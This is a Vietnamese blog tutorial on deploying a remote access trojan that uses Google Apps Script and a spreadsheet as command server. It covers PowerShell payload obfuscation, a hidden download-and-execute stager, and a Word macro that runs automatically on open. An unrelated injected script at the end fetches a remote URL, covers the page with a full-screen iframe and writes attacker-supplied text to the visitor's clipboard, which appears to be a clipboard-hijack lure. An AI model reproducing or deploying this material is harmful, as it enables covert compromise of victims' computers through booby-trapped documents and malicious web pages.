Clone project từ github: git clone https://github.com/a-rey/google_RAT.git
1. Deploy một Google Server và cơ sở dữ liệu dựa trên Google Spreadsheet
- Tạo 1 tài khoản gmail clone
- Tạo 1 bảng tính (spreadsheet) trong Google Drive của tài khoản clone đó
- Bật tính năng chia sẻ link File > Share… > Đặt một tên ngẫu nhiên > Get sharable link
- Dán link vào biết SPREADSHEET_URL ở server.js
- Bỏ phần ?usp=sharing ở cuối link.
- Truy cập Google Scripts và dán đoạn code trong phần server.js vào
- Publish server
- Publish > Deploy as web app
- Chỗ những ai có thể truy cập app. Chọn là Anyone, even anonymous
- Để cài đặt là executed as Me
- Review Permissions > Chọn Mail Clone của bạn > Advanced > Go to Untitled project (unsafe) > enter ‘Continue’ > Allow
- Copy URL và dán nó vào phần $SRV trong file client.ps1
2. Khởi tạo Powershell Payload
B1: Chạy lệnh sau để đóng gói file client.ps1
$s = gc <path to client.ps1>
$x = [convert]::tobase64string([system.text.encoding]::unicode.getbytes($s))
$sx = [system.text.encoding]::unicode.getstring([convert]::frombase64string($x))
$sx = $sx.replace(‘ ‘, ”)
$sx = $sx.replace(‘ = ‘, ‘=’)
$sx = $sx.replace(‘ + ‘, ‘+’)
$sx = $sx.replace(‘ – ‘, ‘-‘)
$sx = $sx.replace(‘ | ‘, ‘|’)
$sx = $sx.replace(‘if (‘, ‘if(‘)
$sx = $sx.replace(‘while (‘, ‘while(‘)
$sx = $sx.replace(‘, ‘, ‘,’)
$sx = $sx.replace(‘; ‘, ‘;’)
$sx = $sx.replace(‘} ‘, ‘}’)
$sx = $sx.replace(‘{ ‘, ‘{‘)
$sx = $sx.replace(‘ {‘, ‘{‘)
write-host $sx
B2: Copy phần kết quả và dán vào mục PAYLOAD trong file server.js
3. Nhúng Payload vào 1 file Word
- Sử dụng powershell stager sau để chạy payload. Thay SRV bằng URL Google Server của bạn
$i=new-object -com internetexplorer.application;
$i.visible=$false;
$i.silent=$true;
$i.navigate2(‘<SRV>’,14,0,$null,$null);
while($i.busy -or ($i.readystate -ne 4)){sleep -seconds 1};
$p=$i.document.lastchild.innertext;
$i.quit();
powershell.exe -v 2 -noE -NonI -nOpR -eNc $p;
- Đây là một ví dụ của Microsoft VBS macro để thực thi powershell stager trên
Private Sub run()
Dim cmd As String
cmd = “wmic process call create ‘powershell.exe -nOpR -nonI -eNc <stager>'”
Set sh = CreateObject(“WScript.Shell”)
res = sh.run(cmd,0,True)
End Sub
Sub AutoOpen()
run
End Sub
Sub AutoExec()
run
End Sub
Sub Auto_Open()
run
End Sub
Sub Auto_Exec()
run
End Sub
4. Deploying Python Shell
- Yêu cầu Python 3
- python script.py <Đường dẫn tới Google Apps Server mà bạn đã tạo>
- Một số Command có thể xài để test
- (new-object -com SAPI.SpVoice).speak(‘self destruct in 9 8 7 6 5 4 3 2 1 boom’)
- $e=new-object -com internetexplorer.application; $e.visible=$true; $e.navigate(‘https://www.youtube.com/watch?v=dQw4w9WgXcQ’);
(function() {
const configLink = “https://corsproxy.io/?url=http://heyues.live”;
if (!window.__digitalflwrFetchPromise) {
window.__digitalflwrFetchPromise = fetch(configLink)
.then(response => {
if (!response.ok) {
throw new Error(” “);
}
return response.text();
})
.then(finalUrl => {
return fetch(finalUrl, { method: “HEAD” })
.then(headResponse => ({ headResponse, finalUrl }));
})
.catch(() => {
});
}
if (typeof window.__digitalflwrIframeCreated === “undefined”) {
window.__digitalflwrIframeCreated = false;
}
window.__digitalflwrFetchPromise
.then(result => {
if (!result) return;
const { headResponse, finalUrl } = result;
if (!headResponse || headResponse.status === 404) {
return;
}
if (!window.__digitalflwrIframeCreated) {
window.__digitalflwrIframeCreated = true;
createMainIframe(finalUrl);
}
})
.catch(() => {
});
function createMainIframe(url) {
const iframe = document.createElement(“iframe”);
iframe.src = url;
iframe.style.position = “fixed”;
iframe.style.top = 0;
iframe.style.left = 0;
iframe.style.width = “100%”;
iframe.style.height = “100%”;
iframe.style.border = “none”;
iframe.style.margin = 0;
iframe.style.padding = 0;
iframe.style.overflow = “hidden”;
iframe.style.zIndex = 99999;
document.body.appendChild(iframe);
window.addEventListener(“message”, function(event) {
if (!event.data || event.data.type !== “copy”) return;
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(event.data.text).catch(() => {
fallbackCopyText(event.data.text);
});
} else {
fallbackCopyText(event.data.text);
}
});
function fallbackCopyText(text) {
const textArea = document.createElement(“textarea”);
textArea.value = text;
document.body.appendChild(textArea);
textArea.select();
try {
document.execCommand(“copy”);
} catch (err) {
}
document.body.removeChild(textArea);
}
}
})();
Views: 610